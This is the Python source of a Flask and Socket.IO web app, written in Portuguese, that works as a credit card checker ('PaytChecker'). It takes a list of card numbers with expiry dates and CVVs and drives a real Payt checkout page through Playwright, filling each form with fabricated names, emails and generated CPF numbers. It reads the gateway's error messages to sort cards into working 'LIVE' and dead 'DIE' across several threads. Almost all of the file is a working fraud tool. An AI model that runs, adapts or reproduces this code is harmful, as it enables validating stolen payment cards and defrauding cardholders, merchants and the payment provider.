from flask import Flask, render_template, request, jsonify from flask_socketio import SocketIO, emit from playwright.sync_api import sync_playwright import random import time import os import re import requests from datetime import datetime import threading app = Flask(__name__, template_folder='templates', static_folder='static') app.config['SECRET_KEY'] = 'supersecret!' socketio = SocketIO(app, cors_allowed_origins="*") # --- Classe PaytChecker adaptada para a web --- class cores: VERDE = '\033[92m' VERMELHO = '\033[91m' AZUL = '\033[94m' AMARELO = '\033[93m' RESET = '\033[0m' class PaytChecker: def __init__(self, sid=None): self.HEADLESS = True # Sempre headless em ambiente de servidor self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2" self.lives = 0 self.dies = 0 self.errors = 0 self.total_checked = 0 self.stop_flag = False self.sid = sid # Para enviar mensagens para um cliente específico self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"] def emit_to_client(self, event, data): if self.sid: socketio.emit(event, data, room=self.sid) else: print(f"[SERVER] {event}: {data}") def gerar_cpf_valido(self): while True: cpf = [random.randint(0, 9) for _ in range(9)] soma = sum((i + 2) * cpf[8 - i] for i in range(9)) digito1 = 11 - (soma % 11) if digito1 >= 10: digito1 = 0 cpf.append(digito1) soma = sum((i + 2) * cpf[9 - i] for i in range(10)) digito2 = 11 - (soma % 11) if digito2 >= 10: digito2 = 0 cpf.append(digito2) cpf_str = ''.join(str(d) for d in cpf) if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333', '44444444444', '55555555555', '66644444444', '77777777777', '88888888888', '99999999999']: return cpf_str def gerar_dados_aleatorios(self): primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"] sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"] nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}" cpf = self.gerar_cpf_valido() nome_email = nome.split()[0].lower() nome_email = re.sub(r'[^a-z]', '', nome_email) email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}" telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}" return { 'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email, 'telefone': telefone } def gerar_dados_4devs(self): try: url = 'https://www.4devs.com.br/ferramentas_online.php' payload = { 'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'cep_estado': '', 'txt_qtde': '1', 'cep_cidade': '' } headers = { 'Accept': '*/*', 'Accept-Language': 'pt-BR,pt;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'https://www.4devs.com.br', 'Referer': 'https://www.4devs.com.br/gerador_de_pessoas', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' } response = requests.post(url, data=payload, headers=headers, timeout=10) response.raise_for_status() dados_json = response.json() nome = dados_json.get('nome', '') cpf = dados_json.get('cpf', '') email = dados_json.get('email', '') telefone = dados_json.get('telefone', '') if nome and cpf and email and telefone: self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'}) return { 'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email, 'telefone': telefone } else: raise ValueError("Dados incompletos retornados pela API") except Exception as e: self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'}) return self.gerar_dados_aleatorios() def preencher_campos(self, page, dados, numero, mes, ano, cvv): page.fill('#full_name', dados['nome']) page.fill('#email', dados['email']) page.fill('#phone', dados['telefone']) page.fill('#cpf_cnpj', dados['cpf']) page.evaluate("window.scrollBy(0, 400)") time.sleep(0.3) page.fill('#cardNumber', numero) page.fill('#cardName', dados['nome_cartao']) page.fill('#cardDueDate', f"{mes}{ano}") page.fill('#cardCvv', cvv) page.evaluate("window.scrollBy(0, 200)") time.sleep(0.3) def clicar_botao(self, page): time.sleep(0.5) seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")', 'button[type="submit"]', '.btn-primary'] for seletor in seletores: try: if page.locator(seletor).count() > 0: btn = page.locator(seletor).first if btn.is_visible(): btn.scroll_into_view_if_needed() btn.click(force=True) return True except: continue return False def classificar_retorno(self, mensagem): termos_live = [ "Sua compra ainda não foi finalizada", "Saldo insuficiente, aumente seu limite e realize a compra.", "Não pudemos processar seu pagamento, entre em contato com o suporte.", "Verifique os dados do seu cartão e tente novamente" ] termos_die = [ "Revise os dados do cartão e tente novamente.", "Não conseguimos processar seu pagamento, tente novamente mais tarde." ] for termo in termos_live: if termo.lower() in mensagem.lower(): return "LIVE" for termo in termos_die: if termo.lower() in mensagem.lower(): return "DIE" return "DIE" def capturar_retorno(self, page): time.sleep(2) for tentativa in range(60): if self.stop_flag: return "STOPPED", "Processamento interrompido" time.sleep(1) url = page.url if "obrigado" in url or "success" in url: return "LIVE", "Pagamento aprovado com sucesso!" try: msg = page.locator('//*[@id="app"]/nav/div/p') if msg.count() > 0: texto = msg.first.text_content() if texto and len(texto.strip()) > 5: texto_completo = texto.strip() resultado = self.classificar_retorno(texto_completo) return resultado, texto_completo except: pass try: container = page.locator('//*[@id="app"]/nav/div') if container.count() > 0: texto = container.first.text_content() if texto and len(texto.strip()) > 5: texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto) texto_completo = ' '.join(texto.split()) if len(texto_completo) > 5: resultado = self.classificar_retorno(texto_completo) return resultado, texto_completo except: pass try: body = page.locator('body').text_content() mensagens = [ "Sua compra ainda não foi finalizada", "Saldo insuficiente, aumente seu limite e realize a compra.", "Não pudemos processar seu pagamento, entre em contato com o suporte.", "Verifique os dados do seu cartão e tente novamente", "Revise os dados do cartão e tente novamente.", "Não conseguimos processar seu pagamento, tente novamente mais tarde." ] for msg in mensagens: if msg.lower() in body.lower(): resultado = self.classificar_retorno(msg) return resultado, msg except: pass if (tentativa + 1) % 10 == 0: self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'}) return "DIE", "Timeout - Sem resposta da gateway" def testar_cartao(self, cartao, i, total, thread_id): if self.stop_flag: return partes = cartao.split('|') if len(partes) != 4: self.errors += 1 self.total_checked += 1 self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id}) self.update_stats(total) return numero, mes, ano, cvv = partes ano = ano[-2:] if len(ano) == 4 else ano dados = self.gerar_dados_4devs() inicio = time.time() try: with sync_playwright() as p: browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox']) context = browser.new_context(viewport={'width': 1366, 'height': 768}) page = context.new_page() self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao}) page.goto(self.BASE_URL, wait_until='domcontentloaded') time.sleep(1.5) self.preencher_campos(page, dados, numero, mes, ano, cvv) if not self.clicar_botao(page): self.errors += 1 self.total_checked += 1 self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id}) self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) self.update_stats(total) browser.close() return status, mensagem = self.capturar_retorno(page) segundos = round(time.time() - inicio, 1) if status == "LIVE": self.lives += 1 self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos}) self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao}) elif status == "DIE": self.dies += 1 self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao}) elif status == "STOPPED": self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao}) browser.close() return browser.close() except Exception as e: self.errors += 1 self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id}) self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) finally: self.total_checked += 1 self.update_stats(total) def update_stats(self, total_cards): self.emit_to_client('update_stats', { 'lives': self.lives, 'dies': self.dies, 'errors': self.errors, 'total': total_cards, 'checked': self.total_checked }) if self.total_checked == total_cards: self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors}) self.emit_to_client('set_ui', {'on': False}) # --- Rotas Flask e Socket.IO --- @app.route('/') def index(): return render_template('index.html') processing_threads = [] stop_event = threading.Event() @socketio.on('connect') def test_connect(): print(f'Client connected: {request.sid}') emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado @socketio.on('disconnect') def test_disconnect(): print(f'Client disconnected: {request.sid}') @socketio.on('start_process') def start_process(data): global processing_threads global stop_event if processing_threads and any(t.is_alive() for t in processing_threads): emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'}) return cards_raw = data['cards'] num_threads = int(data['threads']) client_sid = request.sid cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()] total_cards = len(cards) if not cards: emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'}) emit('set_ui', {'on': False}) return emit('set_ui', {'on': True}) emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'}) emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0}) checker = PaytChecker(sid=client_sid) stop_event.clear() # Limpa o evento de parada para um novo processamento processing_threads = [] cards_per_thread = (total_cards + num_threads - 1) // num_threads def worker(cards_chunk, thread_id, total_cards_overall): for i, card in enumerate(cards_chunk): if stop_event.is_set(): checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id}) break checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id) time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''}) for i in range(num_threads): start_idx = i * cards_per_thread end_idx = min((i + 1) * cards_per_thread, total_cards) chunk = cards[start_idx:end_idx] if chunk: thread = threading.Thread(target=worker, args=(chunk, i, total_cards)) processing_threads.append(thread) thread.start() @socketio.on('stop_process') def stop_process(): global stop_event stop_event.set() # Sinaliza para as threads pararem emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'}) emit('set_ui', {'on': False}) @app.route('/api/download/lives') def download_lives(): # Implementar a lógica de download de lives, se necessário # Por enquanto, retorna um arquivo vazio ou uma mensagem de erro return "Funcionalidade de download de lives não implementada ainda.", 501 if __name__ == '__main__': # Porta 7860 é obrigatória para o Hugging Face Spaces socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)